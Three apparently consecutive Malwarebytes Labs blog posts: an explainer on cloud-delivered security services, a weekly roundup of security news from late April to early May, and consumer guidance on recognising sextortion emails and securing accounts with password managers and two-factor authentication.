Integrated cloud security service benefits:

• Flexible security protection on and off network
• Consistent policies across remote locations
• Easier to scale on a subscription-based model

Benefits of cloud-delivered security

There are several benefits of cloud-delivered security:

• The protection will benefit all cloud resources and the SaaS applications
• It makes it easier to get insight into mobile users, application usage, and overall traffic
• Enhancement of management efficiency because it can be centralized and done with minimal effort
• Significant improvement in discovered malware incidents and attempted breaches
• As a result, a reduction of security related downtime
• Ease of gathering sufficient audit evidence

What to look for in cloud-delivered security

There are several aspects organizations may
be looking for in a cloud security solution. These can vary by type of
organization and their priorities. In no particular order these may be:

• Assistance from security
  vendors
• Cloud administration and
  management
• Scalability and cost efficiency
• Protect all critical
  infrastructure
• Extra features

Security should work for the organization and not the other way around. Security vendors are expected to assume a stronger, more active role in managing and helping the client to maintain the protection of their systems and network(s). Cloud-delivered security allows the organization to focus on their business and abandon or reduce the do-it-yourself security approach.

For businesses looking to simplify their security management through the elimination of hardware, reduced administration, and centralized management, the cloud is the most viable option. And it allows the vendor or a provider to perform remote administration and management.

Cloud-delivered services can dynamically
grow and shrink based on the needs of the organization and you only pay for
what you need based on usage. Moreover, it can also be less expensive to
acquire since they are usually sold on a subscription basis, where payments are
spread out over time.

To optimize the use of assistance, centralized
management, and scalability, a cloud-delivered security solution should be
designed to protect all critical infrastructure, applications, and data
delivered as-a-service.

Usually organizations can add extra services or features to the security solution, which can include, for example, identity management, email security, and other features.

Possible drawbacks of cloud-delivered security

Some organizations may shy away from cloud-delivered security for various reasons.

Organizations may feel they have less control over the functionality of the security solution, which is not always justified as it will depend on the chosen model. And most of the times you will still be able to file feature requests with the vendor and work them out.

Organizations may have doubts about the privacy of the delivered technology and storage of logs in the cloud. But if you can’t trust your security vendor there is a worse problem that needs to be solved first.

Further, data residency can lead to compliance issues for some organizations in some countries. This absolutely should be researched before onboarding with a vendor. It would be a shame to engage in an onboarding process only to find out that there will be compliance issues.

Smaller businesses and cloud-delivered security

Smaller businesses can still profit from cloud-delivered security by acquiring it from a Managed Services Provider (MSP). Security vendors will provide MSPs with a cloud management console where they can keep an eye on all their customers. This enables the MSP to protect, monitor and remediate against security threats.

Stay safe everyone!

The post Explained: cloud-delivered security appeared first on Malwarebytes Labs.

Last week on Malwarebytes Labs, we looked at how secure the cloud is, understood why unexpected demand can influence an organization to consider their “just in time” (JIT) system, speculated on why the threat actors behind the Troldesh ransomware suddenly released thousands of decryption keys, preached the good news about VPN being mainstream, touched on the relationship between cybercrime and a challenged economy, and identified what users can do if they received an extortion email.

Other cybersecurity news

• The season of threat actors banking on coronavirus continues as fake news sites spring up to promote a “pandemic survival book.” (Source: Avast Blog)
• Cybersecurity experts warned small- to medium-sized businesses about an increase in targeted attacks, thanks to the pandemic (Source: TechRadar)
• While internet users are using VPN all the more, experts have seen attacks on something probably no one has thought about protecting: the router. (Source: InfoSecurity)
• Phishers targeted Zoom users yet again with spoofed meeting notifications that would likely cause them to panic and click the phishing link. (Source: Source: Bleeping Computer)
• Payment card details owned by US and South Korean citizens were reportedly sold underground for $2M USD. (Source: Group-IB)
• While governments have renewed interest into using contact tracing apps to help contain COVID-19, the interest in using Bluetooth attacks may naturally follow. (Source: ZDNet)
• Israel’s National Cyber Directorate published an alert about attacks on supervisory control and data acquisition (SCADA) systems. (Source: Security Week)
• Parking meter vendor CivicSmart was attacked by ransomware and had their data stolen. (Source: StateScoop)
• Some ransomware gangs opted out of targeting hospitals. For some, it’s business as usual. Colorado hospital shut down by ransomware. (Source: Health IT Security)
• OceanLotus APT is suspected to be behind an espionage campaign dubbed PhantomLance, which targeted specific victims in Southeast Asia. (Source: Threatpost)

Stay safe everyone!

The post A week in security (April 27 – May 3) appeared first on Malwarebytes Labs.

In the last few weeks, there has been an upswing in people receiving threatening, extortion email messages, demanding payment to avoid release of sensitive information. Most of the time, these emails are what we call “sextortion” emails, as they claim that malware on your computer has captured embarrassing photos of you through the webcam, but there can be other variants on the same theme.

These extortion emails are nothing new, but with the recent increase in frequency, many people are looking for guidance. If you have received such an email message and want to know how you should respond, you’re in the right place. Read on!

Extortion claims

These email messages are not all exactly the same, but they do have fairly common characteristics. Consider the following example:

This is fairly representative of many examples. It starts out by telling you that the scammer knows one of your passwords, and the password really IS one of your passwords, which immediately ratchets up the fear and puts you in a mindset to believe that the rest of the message is also true. (Hint: it is not.)

Next, it tells you that the scammer knows other things about you, including photos of you doing something embarrassing, captured through malware on the computer. The message threatens to send these photos to people you know. Some variants may not involve this kind of “sextortion,” but the general pattern of doing something damaging with data stolen from the user is the same.

In order to prevent this, the scammer demands to be paid, usually in a currency called Bitcoin. There’s usually a time limit given for the payment, to really put the pressure on and encourage fast action rather than seeking help.

Are the extortion claims true?

With one exception, none of this is true. There is no malware involved. The scammer does not have any of the claimed information. If you don’t pay the demanded sum, nothing bad will happen. For the most part, these messages can simply be ignored.

However, the one part that is true is the password—which is the part that makes everything else seem more believable. The password did not, however, come from malware on the computer. Instead, it came from a third-party data breach.

What happens is that a site you have an account on gets breached, and someone is able to extract a bunch of email addresses and passwords. How this happens is not particularly important for our purposes here, but the effect is that two pieces of your personal information may have been published to various “dark web” sites: your email address and a password used with an account associated with that email address.

This is very similar to someone writing your phone number on the wall in a bathroom stall: it becomes public knowledge, for anyone who knows where to look, and it can lead to a lot of harassment.

Once this information has become public knowledge, criminals can take these lists and send mass email messages to everyone on the list, including the password associated with their email message. This is the real source of the seed of truth in these messages, not the fictitious malware the scammers want you to believe you’re infected with.

So I can ignore this, right?

Well, yes and no. Yes, the threat itself is an empty one, since there’s no malware. However, there’s a real danger under the surface: you have a password that has become public knowledge!

If the password provided is an old one that you are no longer using, then you’re golden. You’ve got no need to do anything further. However, for many people, the password is one that is still in active use, and that presents a problem. This particular scammer decided to use the password to scare you, but there are other criminals out there who might decide to use it for more nefarious purposes, like taking over your online life!

To prevent this from happening, there are a few steps you’ll need to take.

Step 1: Change your password

First and foremost, on any account using the password that was provided, change your password. While you’re at it, though, let’s make sure that it’s a good strong one. The best passwords are long, random ones… for example, “vdBdq8GoDh8ELGm$qRdgXVTq.” The longer the better.

It’s also important to use a different password on every site. Because password breaches will always happen, if you use the same password on multiple sites, that can lead to a breach on one site making it possible for an attacker to access your accounts across many different sites.

Okay, I hear you. No, I’m not expecting you to memorize ridiculous passwords for every site you have an account on. There’s a solution to that problem.

Step 2: Use a password manager

A password manager is a program designed to remember your passwords for you. Password managers can keep a list of not just your passwords, but also what site you’ve used them on, the username you use to log in to that site, any security questions you use on that site, etc.

A password manager can be as simple as a notebook you keep in a drawer in your desk. Of course, that’s also something that can be read by anyone with access to your office, and it’s not something you can easily carry around with you.

Password managers more typically come in the form of software, which can encrypt your passwords with a single master password, help you share them between devices, and much more.

You may have a password manager right at your fingertips already, as some web browsers have them built in. Examples include iCloud Keychain in Safari, Google Password Manager in Chrome, and the Firefox Password Manager.

If you use a more obscure browser, don’t want to use the built-in password manager, or just need something more powerful, you can consider something like 1Password or Lastpass.

Whatever fits your particular needs, use it. A password manager is the only way you can realistically have long, strong passwords that are different on every site. Your password manager’s “master” password becomes the only password you need to remember.

Creating a master password for your password manager follows the same, simple rules for your regular passwords—the longer the better. Since you’ll be typing this password in regularly, it could be easier to make a passphrase, which is a string of words that should have no direct meaning to you. Avoid birthdates and street addresses and lean into the chaos of your brain’s random word generator: something like “cantankerousbuffalopotteryhypothesis.”

Whoa, hold on a minute! Don’t walk away yet. Having good passwords and a way to store them is only a small part of the battle. After all, a good password is no good as soon as the site gets breached by a hacker and spills all its passwords. Believe it or not, there’s something else beyond the password.

Step 3: Use two-factor authorization

Two-factor authorization (abbreviated 2FA) is some kind of secondary piece of information, in addition to a password, that can be required for you to log into a website. These typically are some kind of code—most commonly four or six digits—that you must enter during the login process.

The most common way to receive these codes is via text message on your phone. However, they can also be codes that change every 30 seconds, which are generated by a variety of different apps, such as Authy, Google Authenticator, or some more full-featured password managers. These are more secure than texted codes, but also less commonly supported, and codes sent to your phone via text message are better than nothing.

Whatever type your accounts support, use it. It can take some time to set this up these days, when people often have a LOT of accounts, so just take it a few at a time until you’re done.

For help figuring out what kinds of 2FA a site supports see the Two Factor Auth site. You can search this site for the site you’re interested in, and it will tell you what types of 2FA it supports (SMS and Software Token being the two types described above), and link you to that site’s documentation for how to set up 2FA.

For more information about 2FA, see Duo Security’s Two-Factor Authentication: The Basics.

Step 3a: What if there’s no 2FA?

Some sites don’t support 2FA, instead only supporting something like security questions… you know, “What’s the name of your first pet,” or “What street did you live on growing up,” and any number of other similar questions. Here’s the problem with these questions: they’re easy to guess, and the information may be public knowledge.

So, here’s what you do if security questions are all you have to secure a site: lie! Never, ever use true answers to security questions. Instead, make something up. For example, maybe say your first car was a “Millennium Falcon.” Or maybe you drove an “avocado toast.” Even better, say you drove a “dknO6RF%an!Fdke8.”

By now, I’m sure you’re not asking how you’re supposed to remember these ridiculous answers, because you know what the answer will be already: use your password manager. Most password managers support arbitrary notes, so add both the questions and the nonsensical answers to a note for that login in your password manager.

Wrapping up

If you skipped to the end without reading the details (we hope you did not), here’s the tl;dr: these messages are fake, there is no malware involved, and the only thing to be concerned about is the fact that one of your passwords is floating around in cyberspace.

Once you have followed all the instructions above to secure your online accounts, you’ll have nothing left to do, other than mark the message as junk and delete it (if you haven’t already).

Keep in mind that no antivirus software can prevent you from seeing these types of extortion messages. Email systems or clients that do junk mail (spam) filtering can help to catch some of these, but they cannot be relied on to catch all of them. These scammers are sneaky, and are good at evading junk mail filtering.

The fact that you keep receiving these extortion messages does not represent a security issue, and you do not need to be afraid of these thugs. They are only a threat to your wallet, and only if you fall for their tricks and send them money. Otherwise, they cannot do you any harm… so long as you’ve secured your accounts so they can’t use your leaked password against you.

The post What to do when you receive an extortion email appeared first on Malwarebytes Labs.